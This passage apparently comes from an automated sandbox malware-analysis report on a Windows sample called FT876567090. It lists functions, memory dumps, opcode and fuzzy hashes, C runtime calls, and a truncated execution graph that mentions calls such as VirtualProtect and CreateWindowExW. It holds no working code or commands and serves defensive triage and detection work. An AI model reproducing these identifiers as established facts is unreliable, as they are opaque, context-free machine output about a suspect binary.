                                                                                                                                                              • Instruction ID: 2da6ea6c570009f2da92d990c889a6b71bf7149cb1c94be871f7d082e3cfc535
                                                                                                                                                              • Opcode Fuzzy Hash: ce7139d778f9f062d736d42d4dc0093d1598b27d813310ea6d6f3af82ae85172
                                                                                                                                                              • Instruction Fuzzy Hash: 44116974D04289AFDB01CFA8D9909FEBBF1EB8A300F204465D814A33A1D7395E56DF91
                                                                                                                                                              Function 0100D01C Relevance: .0, Instructions: 36COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3387842571.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_100d000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 6c0d666127f9905d14e9a10f4295e1cd904750376396ffd9d8105486606df5de
                                                                                                                                                              • Instruction ID: 95670108bff79c6a0cd09f88a0171d5fece67fd54fcf8b7706a7e5dfec4da21b
                                                                                                                                                              • Opcode Fuzzy Hash: 6c0d666127f9905d14e9a10f4295e1cd904750376396ffd9d8105486606df5de
                                                                                                                                                              • Instruction Fuzzy Hash: 5AF0C271404344AFF7518E5AC884B62FFD8EB41664F18C09AFD8C0E282C3799845CBB1
                                                                                                                                                              Function 02D52DB8 Relevance: .0, Instructions: 25COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 7ca1e7d7caeaa02e1041743fdd14cbb85222a842990dab10a71d02b28239b1d9
                                                                                                                                                              • Instruction ID: 78521aaf40a0acc1c9eb08ab082036529fce2171e85d19f5876abda048a9bb7c
                                                                                                                                                              • Opcode Fuzzy Hash: 7ca1e7d7caeaa02e1041743fdd14cbb85222a842990dab10a71d02b28239b1d9
                                                                                                                                                              • Instruction Fuzzy Hash: 4CE09231A282A74AC71797B4B8540EEBF30EDC6110B1886A7D49467041EB20255AC3A1
                                                                                                                                                              Function 02D56C47 Relevance: .0, Instructions: 23COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 1c25917f5e630a673a0ab6dbacfcd983696b57507e419606d278894fbf070de7
                                                                                                                                                              • Instruction ID: 4e01a54fa991703a9d4336670ec9fdabde853c96fe3ac8e21ed8d868c56a5ce7
                                                                                                                                                              • Opcode Fuzzy Hash: 1c25917f5e630a673a0ab6dbacfcd983696b57507e419606d278894fbf070de7
                                                                                                                                                              • Instruction Fuzzy Hash: C7E0263040C3868FDB079F32A8A02E53FB5DD4B201B4449B1C1884A167FAA81C5B83A6
                                                                                                                                                              Function 02D52DC8 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: d84e3cf7f04f9038a1c289f69d9c7ca831ed9ebd974bcc300599d94df1ad0aa7
                                                                                                                                                              • Instruction ID: 73aaf64c7bb5018b7e65ebf16bc7ffe48f22b4e9635f271f6c0d446ca8962ddd
                                                                                                                                                              • Opcode Fuzzy Hash: d84e3cf7f04f9038a1c289f69d9c7ca831ed9ebd974bcc300599d94df1ad0aa7
                                                                                                                                                              • Instruction Fuzzy Hash: 57D02B31D2022B53CB00E7A1FC004DFF738EEC1220B404222E91033000FB302658C6F0
                                                                                                                                                              Function 02D5B4BD Relevance: .0, Instructions: 16COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: cb7b6e61f542e1ddf0977637017b994c12886cdbc8ebfa51d4effee5d980030d
                                                                                                                                                              • Instruction ID: 64fbc9c493179a82a4ce05ae3ebf5c930a02a3166cf218ce3ee497871262f250
                                                                                                                                                              • Opcode Fuzzy Hash: cb7b6e61f542e1ddf0977637017b994c12886cdbc8ebfa51d4effee5d980030d
                                                                                                                                                              • Instruction Fuzzy Hash: 0CD0177BB400089FCB008F88E840DDDB7B6FB8C220B008016EA11E3260C6319821CB60
                                                                                                                                                              Function 02D58999 Relevance: .0, Instructions: 15COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 7525a8c20b581b849181c66dcf3648070b22000f771b27d12aa81a5ee2214468
                                                                                                                                                              • Instruction ID: fc6db7d47adb42767dfabca23b33c8f901be9f2379bbf3ad067e9243c36bbef4
                                                                                                                                                              • Opcode Fuzzy Hash: 7525a8c20b581b849181c66dcf3648070b22000f771b27d12aa81a5ee2214468
                                                                                                                                                              • Instruction Fuzzy Hash: E0D0123234D2C04FD7029AA828964A5BFA0D98A17130948BBEEC0CB317D41A482ED722
                                                                                                                                                              Function 02D56C58 Relevance: .0, Instructions: 12COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 381cbe069c9a84f217499572d825f0005294c8085bf7e66dec74696d9b46bcbf
                                                                                                                                                              • Instruction ID: a200aad70627e59f116b4c573a9f6b09d35462732a725a1e84f2dbd67bc1662a
                                                                                                                                                              • Opcode Fuzzy Hash: 381cbe069c9a84f217499572d825f0005294c8085bf7e66dec74696d9b46bcbf
                                                                                                                                                              • Instruction Fuzzy Hash: CEC0123054860B8AE546EB75F9546D5377AE689200B404E34920919155EFBD1C4546EA

                                                                                                                                                              Non-executed Functions

                                                                                                                                                              Function 00417081 Relevance: 15.3, APIs: 10, Instructions: 340COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __freea_malloc$___convertcp$___ansicp_memset
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3383179575-0
                                                                                                                                                              • Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                                                                                                                                              • Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
                                                                                                                                                              • Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
                                                                                                                                                              • Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98
                                                                                                                                                              Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3886058894-0
                                                                                                                                                              • Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                              • Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
                                                                                                                                                              • Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
                                                                                                                                                              • Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD
                                                                                                                                                              Function 0040C73D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • __lock_file.LIBCMT ref: 0040C6C8
                                                                                                                                                              • __fileno.LIBCMT ref: 0040C6D6
                                                                                                                                                              • __fileno.LIBCMT ref: 0040C6E2
                                                                                                                                                              • __fileno.LIBCMT ref: 0040C6EE
                                                                                                                                                              • __fileno.LIBCMT ref: 0040C6FE
                                                                                                                                                                • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
                                                                                                                                                              • String ID: 'B
                                                                                                                                                              • API String ID: 2805327698-2787509829
                                                                                                                                                              • Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                              • Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
                                                                                                                                                              • Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                                                                                                                                              • Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D
                                                                                                                                                              Function 004105D5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                              • String ID: @.B$KERNEL32.DLL
                                                                                                                                                              • API String ID: 1628550938-2520587274
                                                                                                                                                              • Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
                                                                                                                                                              • Instruction ID: ea0ea8473cec590b50870dd3b4b8be5e3c50d09318c2f51e843d2d197a1947a1
                                                                                                                                                              • Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
                                                                                                                                                              • Instruction Fuzzy Hash: F4119071940701EED720AF76D90179EBBE0AF44314F10892FE499A72A1CBB89A958F5C
                                                                                                                                                              Function 004057B0 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • _malloc.LIBCMT ref: 004057DE
                                                                                                                                                                • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                              • _malloc.LIBCMT ref: 00405842
                                                                                                                                                              • _malloc.LIBCMT ref: 00405906
                                                                                                                                                              • _malloc.LIBCMT ref: 00405930
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: _malloc$AllocateHeap
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 680241177-0
                                                                                                                                                              • Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                                                                                                                                              • Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
                                                                                                                                                              • Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
                                                                                                                                                              • Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A
                                                                                                                                                              Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • __getptd.LIBCMT ref: 00414744
                                                                                                                                                                • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                                • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                              • __getptd.LIBCMT ref: 0041475B
                                                                                                                                                              • __amsg_exit.LIBCMT ref: 00414769
                                                                                                                                                              • __lock.LIBCMT ref: 00414779
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                              • String ID: @.B
                                                                                                                                                              • API String ID: 3521780317-470711618
                                                                                                                                                              • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                              • Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
                                                                                                                                                              • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                              • Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D
                                                                                                                                                              Function 004146FA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • ___addlocaleref.LIBCMT ref: 0041470C
                                                                                                                                                              • ___removelocaleref.LIBCMT ref: 00414717
                                                                                                                                                              • ___freetlocinfo.LIBCMT ref: 0041472B
                                                                                                                                                                • Part of subcall function 00414489: ___free_lconv_mon.LIBCMT ref: 004144CF
                                                                                                                                                                • Part of subcall function 00414489: ___free_lconv_num.LIBCMT ref: 004144F0
                                                                                                                                                                • Part of subcall function 00414489: ___free_lc_time.LIBCMT ref: 00414575
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
                                                                                                                                                              • String ID: @.B$@.B
                                                                                                                                                              • API String ID: 4212647719-183327057
                                                                                                                                                              • Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                                                                                                                                              • Instruction ID: 8e9b8205a585dc9325c25650a27042e0212317e7447dcce9b0fe23aa5a8dd77f
                                                                                                                                                              • Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                                                                                                                                              • Instruction Fuzzy Hash: BDE0863250192255CE35261D76806EF93A98FD3725B3A017FF864AF7D8EB2C4CC0809D
                                                                                                                                                              Function 0040FA58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __calloc_crt
                                                                                                                                                              • String ID: P$B$`$B
                                                                                                                                                              • API String ID: 3494438863-235554963
                                                                                                                                                              • Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
                                                                                                                                                              • Instruction ID: 4bdca0f49684ef71ac3198dcc3f656e5d5ce7fed137673697bf40858e87bd1f9
                                                                                                                                                              • Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
                                                                                                                                                              • Instruction Fuzzy Hash: 6011A3327446115BE7348B1DBD50F662391EB84728BA4423BE619EA7E0E77CD8864A4C
                                                                                                                                                              Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • __fileno.LIBCMT ref: 0040C77C
                                                                                                                                                              • __locking.LIBCMT ref: 0040C791
                                                                                                                                                                • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __decode_pointer__fileno__getptd_noexit__locking
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2395185920-0
                                                                                                                                                              • Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                              • Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
                                                                                                                                                              • Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                                                                                                                                              • Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D
                                                                                                                                                              Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: _fseek_malloc_memset
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 208892515-0
                                                                                                                                                              • Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                                                                                                                                              • Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
                                                                                                                                                              • Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                                                                                                                                              • Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89
                                                                                                                                                              Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • __flush.LIBCMT ref: 0040BB6E
                                                                                                                                                              • __fileno.LIBCMT ref: 0040BB8E
                                                                                                                                                              • __locking.LIBCMT ref: 0040BB95
                                                                                                                                                              • __flsbuf.LIBCMT ref: 0040BBC0
                                                                                                                                                                • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                                • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3240763771-0
                                                                                                                                                              • Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                              • Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
                                                                                                                                                              • Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                                                                                                                                              • Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C
                                                                                                                                                              Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3016257755-0
                                                                                                                                                              • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                              • Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
                                                                                                                                                              • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                                                                                                                                              • Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

                                                                                                                                                              Execution Graph

                                                                                                                                                              Execution Coverage:11.6%
                                                                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                              Signature Coverage:0%
                                                                                                                                                              Total number of Nodes:224
                                                                                                                                                              Total number of Limit Nodes:9
                                                                                                                                                              execution_graph 34535 74166c1 34537 74166c4 34535->34537 34536 7416729 34537->34536 34540 7417cc0 34537->34540 34543 7417cb8 34537->34543 34541 7417d08 VirtualProtect 34540->34541 34542 7417d42 34541->34542 34542->34537 34544 7417d08 VirtualProtect 34543->34544 34545 7417d42 34544->34545 34545->34537 34546 2ac4668 34547 2ac467a 34546->34547 34548 2ac4686 34547->34548 34552 2ac4779 34547->34552 34557 2ac3e28 34548->34557 34550 2ac46a5 34553 2ac479d 34552->34553 34561 2ac4888 34553->34561 34565 2ac4878 34553->34565 34558 2ac3e33 34557->34558 34573 2ac5c68 34558->34573 34560 2ac6ff6 34560->34550 34563 2ac48af 34561->34563 34562 2ac498c 34562->34562 34563->34562 34569 2ac44b0 34563->34569 34567 2ac4888 34565->34567 34566 2ac498c 34567->34566 34568 2ac44b0 CreateActCtxA 34567->34568 34568->34566 34570 2ac5918 CreateActCtxA 34569->34570 34572 2ac59cf 34570->34572 34574 2ac5c73 34573->34574 34577 2ac5c88 34574->34577 34576 2ac7195 34576->34560 34578 2ac5c93 34577->34578 34581 2ac5cb8 34578->34581 34580 2ac727a 34580->34576 34582 2ac5cc3 34581->34582 34585 2ac5ce8 34582->34585 34584 2ac736d 34584->34580 34586 2ac5cf3 34585->34586 34587 2ac8410 34586->34587 34594 2ac86b8 34586->34594 34589 2ac866b 34587->34589 34599 2acad19 34587->34599 34588 2ac86a9 34588->34584 34589->34588 34603 2acce00 34589->34603 34609 2acce10 34589->34609 34595 2ac8699 34594->34595 34596 2ac86a9 34595->34596 34597 2acce00 4 API calls 34595->34597 34598 2acce10 4 API calls 34595->34598 34596->34587 34597->34596 34598->34596 34614 2acad50 34599->34614 34618 2acad41 34599->34618 34600 2acad2e 34600->34589 34604 2accdb4 34603->34604 34606 2acce06 34603->34606 34604->34588 34605 2acce55 34605->34588 34606->34605 34632 2accfc0 34606->34632 34636 2accfb0 34606->34636 34610 2acce31 34609->34610 34611 2acce55 34610->34611 34612 2accfb0 4 API calls 34610->34612 34613 2accfc0 4 API calls 34610->34613 34611->34588 34612->34611 34613->34611 34615 2acad5f 34614->34615 34622 2acae48 34614->34622 34627 2acae37 34614->34627 34615->34600 34620 2acae48 GetModuleHandleW 34618->34620 34621 2acae37 GetModuleHandleW 34618->34621 34619 2acad5f 34619->34600 34620->34619 34621->34619 34623 2acae7c 34622->34623 34624 2acae59 34622->34624 34623->34615 34624->34623 34625 2acb080 GetModuleHandleW 34624->34625 34626 2acb0ad 34625->34626 34626->34615 34628 2acae59 34627->34628 34629 2acae7c 34627->34629 34628->34629 34630 2acb080 GetModuleHandleW 34628->34630 34629->34615 34631 2acb0ad 34630->34631 34631->34615 34634 2accfcd 34632->34634 34633 2acd007 34633->34605 34634->34633 34640 2acb820 34634->34640 34638 2accfc0 34636->34638 34637 2acd007 34637->34605 34638->34637 34639 2acb820 4 API calls 34638->34639 34639->34637 34641 2acb82b 34640->34641 34643 2acdd18 34641->34643 34644 2acd124 34641->34644 34643->34643 34645 2acd12f 34644->34645 34646 2ac5ce8 4 API calls 34645->34646 34647 2acdd87 34646->34647 34651 2acfaf0 34647->34651 34656 2acfb08 34647->34656 34648 2acddc1 34648->34643 34652 2acfb08 34651->34652 34653 52409c0 CreateWindowExW CreateWindowExW 34652->34653 34654 2acfb45 34652->34654 34655 52409b2 CreateWindowExW CreateWindowExW 34652->34655 34653->34654 34654->34648 34655->34654 34657 2acfb39 34656->34657 34658 2acfb45 34656->34658 34657->34658 34659 52409c0 CreateWindowExW CreateWindowExW 34657->34659 34660 52409b2 CreateWindowExW CreateWindowExW 34657->34660 34658->34648 34659->34658 34660->34658 34774 5246dc0 34775 5246ded 34774->34775 34786 524662c 34775->34786 34778 524662c 